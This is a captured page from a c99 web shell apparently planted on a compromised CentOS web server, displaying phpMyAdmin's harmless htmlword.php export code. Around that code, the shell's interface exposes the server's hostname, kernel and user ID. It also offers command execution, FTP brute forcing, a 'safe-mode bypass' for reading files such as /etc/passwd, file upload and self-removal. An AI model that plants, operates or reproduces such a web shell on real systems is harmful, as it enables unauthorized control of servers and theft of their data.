!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/export/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     htmlword.php (10.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: htmlword.php,v 1.7 2006/01/19 15:39:29 cybot_tm Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

/**
 * Set of functions used to build CSV dumps of tables
 */

/**
 * Outputs comment
 *
 * @param   string      Text of comment
 *
 * @return  bool        Whether it suceeded
 */
function PMA_exportComment($text) {
    return 
TRUE;
}

/**
 * Outputs export footer
 *
 * @return  bool        Whether it suceeded
 *
 * @access  public
 */
function PMA_exportFooter() {
    return 
PMA_exportOutputHandler('</body></html>');
}

/**
 * Outputs export header
 *
 * @return  bool        Whether it suceeded
 *
 * @access  public
 */
function PMA_exportHeader() {
    global 
$charset$charset_of_file;
    return 
PMA_exportOutputHandler('<html xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:word"
xmlns="http://www.w3.org/TR/REC-html40">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
    <meta http-equiv="Content-type" content="text/html;charset=' 
. ( isset($charset_of_file) ? $charset_of_file $charset ) .'" />
</head>
<body>'
);
}

/**
 * Outputs database header
 *
 * @param   string      Database name
 *
 * @return  bool        Whether it suceeded
 *
 * @access  public
 */
function PMA_exportDBHeader($db) {
    return 
PMA_exportOutputHandler('<h1>' $GLOBALS['strDatabase'] . ' ' $db '</h1>');
}

/**
 * Outputs database footer
 *
 * @param   string      Database name
 *
 * @return  bool        Whether it suceeded
 *
 * @access  public
 */
function PMA_exportDBFooter($db) {
    return 
TRUE;
}

/**
 * Outputs create database database
 *
 * @param   string      Database name
 *
 * @return  bool        Whether it suceeded
 *
 * @access  public
 */
function PMA_exportDBCreate($db) {
    return 
TRUE;
}

/**
 * Outputs the content of a table in CSV format
 *
 * @param   string      the database name
 * @param   string      the table name
 * @param   string      the end of line sequence
 * @param   string      the url to go back in case of error
 * @param   string      SQL query for obtaining data
 *
 * @return  bool        Whether it suceeded
 *
 * @access  public
 */
function PMA_exportData($db$table$crlf$error_url$sql_query)
{
    global 
$what;

    if (!
PMA_exportOutputHandler('<h2>' $GLOBALS['strDumpingData'] . ' ' $table '</h2>')) {
        return 
FALSE;
    }
    if (!
PMA_exportOutputHandler('<table class="width100" cellspacing="1">')) {
        return 
FALSE;
    }

    
// Gets the data from the database
    
$result      PMA_DBI_query($sql_querynullPMA_DBI_QUERY_UNBUFFERED);
    
$fields_cnt  PMA_DBI_num_fields($result);

    
// If required, get fields name at the first line
    
if (isset($GLOBALS[$what '_shownames']) && $GLOBALS[$what '_shownames'] == 'yes') {
        
$schema_insert '<tr class="print-category">';
        for (
$i 0$i $fields_cnt$i++) {
            
$schema_insert .= '<td class="print"><b>' htmlspecialchars(stripslashes(PMA_DBI_field_name($result$i))) . '</b></td>';
        } 
// end for
        
$schema_insert .= '</tr>';
        if (!
PMA_exportOutputHandler($schema_insert)) {
            return 
FALSE;
        }
    } 
// end if

    // Format the data
    
while ($row PMA_DBI_fetch_row($result)) {
        
$schema_insert '<tr class="print-category">';
        for (
$j 0$j $fields_cnt$j++) {
            if (!isset(
$row[$j]) || is_null($row[$j])) {
                
$value $GLOBALS[$what '_replace_null'];
            } elseif (
$row[$j] == '0' || $row[$j] != '') {
                
$value $row[$j];
            } else {
                
$value '';
            }
            
$schema_insert .= '<td class="print">' htmlspecialchars($value) . '</td>';
        } 
// end for
        
$schema_insert .= '</tr>';
        if (!
PMA_exportOutputHandler($schema_insert)) {
            return 
FALSE;
        }
    } 
// end while
    
PMA_DBI_free_result($result);
    if (!
PMA_exportOutputHandler('</table>')) {
        return 
FALSE;
    }

    return 
TRUE;
}

function 
PMA_exportStructure($db$table$crlf$error_url$do_relation false$do_comments false$do_mime false$dates false)
{
    global 
$cfgRelation;

    if (!
PMA_exportOutputHandler('<h2>' $GLOBALS['strTableStructure'] . ' ' .$table '</h2>')) {
        return 
FALSE;
    }

    
/**
     * Get the unique keys in the table
     */
    
$keys_query     'SHOW KEYS FROM ' PMA_backquote($table) . ' FROM 'PMA_backquote($db);
    
$keys_result    PMA_DBI_query($keys_query);
    
$unique_keys    = array();
    while (
$key PMA_DBI_fetch_assoc($keys_result)) {
        if (
$key['Non_unique'] == 0) {
            
$unique_keys[] = $key['Column_name'];
        }
    }
    
PMA_DBI_free_result($keys_result);

    
/**
     * Gets fields properties
     */
    
PMA_DBI_select_db($db);
    
$local_query 'SHOW FIELDS FROM ' PMA_backquote($db) . '.' PMA_backquote($table);
    
$result      PMA_DBI_query($local_query);
    
$fields_cnt  PMA_DBI_num_rows($result);

    
// Check if we can use Relations (Mike Beck)
    
if ($do_relation && !empty($cfgRelation['relation'])) {
        
// Find which tables are related with the current one and write it in
        // an array
        
$res_rel PMA_getForeigners($db$table);

        if (
$res_rel && count($res_rel) > 0) {
            
$have_rel TRUE;
        } else {
            
$have_rel FALSE;
        }
    } else {
           
$have_rel FALSE;
    } 
// end if

    /**
     * Displays the table structure
     */
    
if (!PMA_exportOutputHandler('<table class="width100" cellspacing="1">')) {
        return 
FALSE;
    }

    
$columns_cnt 4;
    if (
$do_relation && $have_rel) {
        
$columns_cnt++;
    }
    if (
$do_comments && $cfgRelation['commwork']) {
        
$columns_cnt++;
    }
    if (
$do_mime && $cfgRelation['mimework']) {
        
$columns_cnt++;
    }

    
$schema_insert '<tr class="print-category">';
    
$schema_insert .= '<th class="print">' htmlspecialchars($GLOBALS['strField']) . '</th>';
    
$schema_insert .= '<td class="print"><b>' htmlspecialchars($GLOBALS['strType']) . '</b></td>';
    
$schema_insert .= '<td class="print"><b>' htmlspecialchars($GLOBALS['strNull']) . '</b></td>';
    
$schema_insert .= '<td class="print"><b>' htmlspecialchars($GLOBALS['strDefault']) . '</b></td>';
    if (
$do_relation && $have_rel) {
        
$schema_insert .= '<td class="print"><b>' htmlspecialchars($GLOBALS['strLinksTo']) . '</b></td>';
    }
    if (
$do_comments && ($cfgRelation['commwork'] || PMA_MYSQL_INT_VERSION >= 40100)) {
        
$schema_insert .= '<td class="print"><b>' htmlspecialchars($GLOBALS['strComments']) . '</b></td>';
        
$comments PMA_getComments($db$table);
    }
    if (
$do_mime && $cfgRelation['mimework']) {
        
$schema_insert .= '<td class="print"><b>' htmlspecialchars('MIME') . '</b></td>';
        
$mime_map PMA_getMIME($db$tabletrue);
    }
    
$schema_insert .= '</tr>';

    if (!
PMA_exportOutputHandler($schema_insert)) {
        return 
FALSE;
    }

    while (
$row PMA_DBI_fetch_assoc($result)) {

        
$schema_insert '<tr class="print-category">';
        
$type             $row['Type'];
        
// reformat mysql query output - staybyte - 9. June 2001
        // loic1: set or enum types: slashes single quotes inside options
        
if (eregi('^(set|enum)\((.+)\)$'$type$tmp)) {
            
$tmp[2]       = substr(ereg_replace('([^,])\'\'''\\1\\\''',' $tmp[2]), 1);
            
$type         $tmp[1] . '(' str_replace(','', '$tmp[2]) . ')';
            
$type_nowrap  '';

            
$binary       0;
            
$unsigned     0;
            
$zerofill     0;
        } else {
            
$type_nowrap  ' nowrap="nowrap"';
            
$type         eregi_replace('BINARY'''$type);
            
$type         eregi_replace('ZEROFILL'''$type);
            
$type         eregi_replace('UNSIGNED'''$type);
            if (empty(
$type)) {
                
$type     '&nbsp;';
            }

            
$binary       eregi('BINARY'$row['Type']);
            
$unsigned     eregi('UNSIGNED'$row['Type']);
            
$zerofill     eregi('ZEROFILL'$row['Type']);
        }
        
$strAttribute     '&nbsp;';
        if (
$binary) {
            
$strAttribute 'BINARY';
        }
        if (
$unsigned) {
            
$strAttribute 'UNSIGNED';
        }
        if (
$zerofill) {
            
$strAttribute 'UNSIGNED ZEROFILL';
        }
        if (!isset(
$row['Default'])) {
            if (
$row['Null'] != '') {
                
$row['Default'] = 'NULL';
            }
        } else {
            
$row['Default'] = $row['Default'];
        }

        
$fmt_pre '';
        
$fmt_post '';
        if (
in_array($row['Field'], $unique_keys)) {
            
$fmt_pre '<b>' $fmt_pre;
            
$fmt_post $fmt_post '</b>';
        }
        if (
$row['Key']=='PRI') {
            
$fmt_pre '<i>' $fmt_pre;
            
$fmt_post $fmt_post '</i>';
        }
        
$schema_insert .= '<td class="print">' $fmt_pre htmlspecialchars($row['Field']) . $fmt_post '</td>';
        
$schema_insert .= '<td class="print">' htmlspecialchars($type) . '</td>';
        
$schema_insert .= '<td class="print">' htmlspecialchars($row['Null'] == '' $GLOBALS['strNo'] : $GLOBALS['strYes']) . '</td>';
        
$schema_insert .= '<td class="print">' htmlspecialchars(isset($row['Default']) ? $row['Default'] : '') . '</td>';

        
$field_name $row['Field'];

        if (
$do_relation && $have_rel) {
            
$schema_insert .= '<td class="print">' . (isset($res_rel[$field_name]) ? htmlspecialchars($res_rel[$field_name]['foreign_table'] . ' (' $res_rel[$field_name]['foreign_field'] . ')') : '') . '</td>';
        }
        if (
$do_comments && $cfgRelation['commwork']) {
            
$schema_insert .= '<td class="print">' . ( isset($comments[$field_name]) ? htmlspecialchars($comments[$field_name]) : '') . '</td>';
        }
        if (
$do_mime && $cfgRelation['mimework']) {
            
$schema_insert .= '<td class="print">' . ( isset($mime_map[$field_name]) ? htmlspecialchars(str_replace('_''/'$mime_map[$field_name]['mimetype'])) : '') . '</td>';
        }

        
$schema_insert .= '</tr>';

        if (!
PMA_exportOutputHandler($schema_insert)) {
            return 
FALSE;
        }
    } 
// end while
    
PMA_DBI_free_result($result);

    return 
PMA_exportOutputHandler('</table>');
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0254 ]--